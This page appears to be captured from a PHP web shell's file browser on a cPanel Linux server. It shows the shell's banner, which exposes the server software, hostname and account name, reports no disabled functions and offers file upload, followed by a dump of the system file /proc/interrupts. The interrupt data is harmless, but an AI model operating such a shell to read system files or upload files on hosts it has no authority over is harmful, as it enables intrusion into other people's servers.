HEX
Server: Apache/2.4.65 (Unix) OpenSSL/3.5.5
System: Linux cpanel.ns-taberra.com 5.14.0-681.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Feb 11 20:19:22 UTC 2026 x86_64
User: asif201 (1002)
PHP: 8.3.0
Disabled: NONE
Upload Files
File: //proc/interrupts
            CPU0       CPU1       CPU2       CPU3       CPU4       CPU5       CPU6       CPU7       
   1:          0          0          0          0          0        937          0          0   IO-APIC    1-edge      i8042
   8:          0          0          0          0          0          0          0          0   IO-APIC    8-edge      rtc0
   9:          0          0          0          0          0          0          0          0   IO-APIC    9-fasteoi   acpi
  12:          0          0          0          0      27519          0          0          0   IO-APIC   12-edge      i8042
  16:          0          0          0          0          0          0          0          0   IO-APIC   16-fasteoi   i801_smbus
  21:          0         66          0        642         87         30        620          0   IO-APIC   21-fasteoi   qxl
  22:          2        583        157       5093       4021        763       4202       1789   IO-APIC   22-fasteoi   virtio3, virtio2
  23:       3865          0          0          0          0          0   10856615    9021867   IO-APIC   23-fasteoi   ens1
  24:          0          0          0          0          0          0          0          0  PCI-MSIX-0000:00:02.0    0-edge      PCIe PME, aerdrv, PCIe bwctrl
  25:          0          0          0          0          0          0          0          0  PCI-MSIX-0000:00:02.1    0-edge      PCIe PME, aerdrv, PCIe bwctrl
  26:          0          0          0          0          0          0          0          0  PCI-MSIX-0000:00:02.2    0-edge      PCIe PME, aerdrv, PCIe bwctrl
  27:          0          0          0          0          0          0          0          0  PCI-MSIX-0000:00:02.3    0-edge      PCIe PME, aerdrv, PCIe bwctrl
  28:          0          0          0          0          0          0          0          0  PCI-MSIX-0000:00:02.4    0-edge      PCIe PME, aerdrv, PCIe bwctrl
  29:          0          0          0          0          0          0          0          0  PCI-MSIX-0000:00:02.5    0-edge      PCIe PME, aerdrv, PCIe bwctrl
  30:          0          0          0          0          0          0          0          0  PCI-MSIX-0000:00:02.6    0-edge      PCIe PME, aerdrv, PCIe bwctrl
  31:          0          0          0          0          0          0          0          0  PCI-MSIX-0000:00:02.7    0-edge      PCIe PME, aerdrv, PCIe bwctrl
  32:          0          0          0          0          0          0          0          0  PCI-MSIX-0000:00:03.0    0-edge      PCIe PME, aerdrv, PCIe bwctrl
  33:          0          0          0          0          0          0          0          0  PCI-MSIX-0000:00:03.1    0-edge      PCIe PME, aerdrv, PCIe bwctrl
  34:          0          0          0          0          0          0          0          0  PCI-MSIX-0000:00:03.2    0-edge      PCIe PME, aerdrv, PCIe bwctrl
  35:          0          0          0          0          0          0          0          0  PCI-MSIX-0000:00:03.3    0-edge      PCIe PME, aerdrv, PCIe bwctrl
  36:          0          0          0          0          0          0          0          0  PCI-MSIX-0000:00:03.4    0-edge      PCIe PME, aerdrv, PCIe bwctrl
  37:          0          0          0          0          0          0          0          0  PCI-MSIX-0000:00:03.5    0-edge      PCIe PME, aerdrv, PCIe bwctrl
  38:          0          0          0          0          0          0          0          0  PCI-MSIX-0000:00:03.6    0-edge      PCIe PME, aerdrv, PCIe bwctrl
  39:          0          0          0          0          0          0          0          0  PCI-MSIX-0000:00:03.7    0-edge      PCIe PME, aerdrv, PCIe bwctrl
  40:          0          0          0          0          0          0          0          0  PCI-MSIX-0000:00:04.0    0-edge      PCIe PME, aerdrv, PCIe bwctrl
  41:          0          0          0         60          0          0          0          0  PCI-MSIX-0000:04:00.0    0-edge      xhci_hcd
  50:          0          0          0          0          0          0          0          0  PCI-MSIX-0000:05:00.0    0-edge      virtio1-config
  51:          0          0          0          0          0          0          0          0  PCI-MSIX-0000:05:00.0    1-edge      virtio1-control
  52:          0          0          0          0          0          0          0          0  PCI-MSIX-0000:03:00.0    0-edge      virtio0-config
  53:          0          0          0          0          0          0          0          0  PCI-MSIX-0000:05:00.0    2-edge      virtio1-event
  54:          0          0          0          0          0      47801          0          0  PCI-MSIX-0000:03:00.0    1-edge      virtio0-virtqueues
  55:     117672          0          0          0          0          0          0          0  PCI-MSIX-0000:05:00.0    3-edge      virtio1-request
  56:          0     120324          0          0          0          0          0          0  PCI-MSIX-0000:05:00.0    4-edge      virtio1-request
  57:          0          0     120442          0          0          0          0          0  PCI-MSIX-0000:05:00.0    5-edge      virtio1-request
  58:          0          0          0     123997          0          0          0          0  PCI-MSIX-0000:05:00.0    6-edge      virtio1-request
  59:          0          0          0          0     120329          0          0          0  PCI-MSIX-0000:05:00.0    7-edge      virtio1-request
  60:          0          0          0          0          0     129701          0          0  PCI-MSIX-0000:05:00.0    8-edge      virtio1-request
  61:          0          0          0          0          0          0     131615          0  PCI-MSIX-0000:05:00.0    9-edge      virtio1-request
  62:          0          0          0          0          0          0          0     119122  PCI-MSIX-0000:05:00.0   10-edge      virtio1-request
  63:          0        124         20      34493       1081        186       1031         15  PCI-MSI-0000:00:1f.2    0-edge      ahci[0000:00:1f.2]
  64:          0          0          0          0          0          0          0        601  PCI-MSI-0000:00:1b.0    0-edge      snd_hda_intel:card0
 NMI:          0          0          0          0          0          0          0          0   Non-maskable interrupts
 LOC:   30594977   31819635   31662524   31487322   31493678   31483269   39114260   40119361   Local timer interrupts
 SPU:          0          0          0          0          0          0          0          0   Spurious interrupts
 PMI:          0          0          0          0          0          0          0          0   Performance monitoring interrupts
 IWI:          1          0          2          1          1          1      13351      17573   IRQ work interrupts
 RTR:          0          0          0          0          0          0          0          0   APIC ICR read retries
 RES:     300456     298284     292660     299676     298450     299788     262633     267820   Rescheduling interrupts
 CAL:   26578041   17804733   14884108   13755981   13266912   12931701   12262625   13056806   Function call interrupts
 TLB:     118848     126105     122523     118584     129714     142697     117197     114926   TLB shootdowns
 TRM:          0          0          0          0          0          0          0          0   Thermal event interrupts
 THR:          0          0          0          0          0          0          0          0   Threshold APIC interrupts
 DFR:          0          0          0          0          0          0          0          0   Deferred Error APIC interrupts
 MCE:          0          0          0          0          0          0          0          0   Machine check exceptions
 MCP:        230        230        230        230        230        230        230        230   Machine check polls
 HYP:          1          1          1          1          1          1          1          1   Hypervisor callback interrupts
 ERR:          0
 MIS:         13
 PIN:          0          0          0          0          0          0          0          0   Posted-interrupt notification event
 NPI:          0          0          0          0          0          0          0          0   Nested posted-interrupt event
 PIW:          0          0          0          0          0          0          0          0   Posted-interrupt wakeup event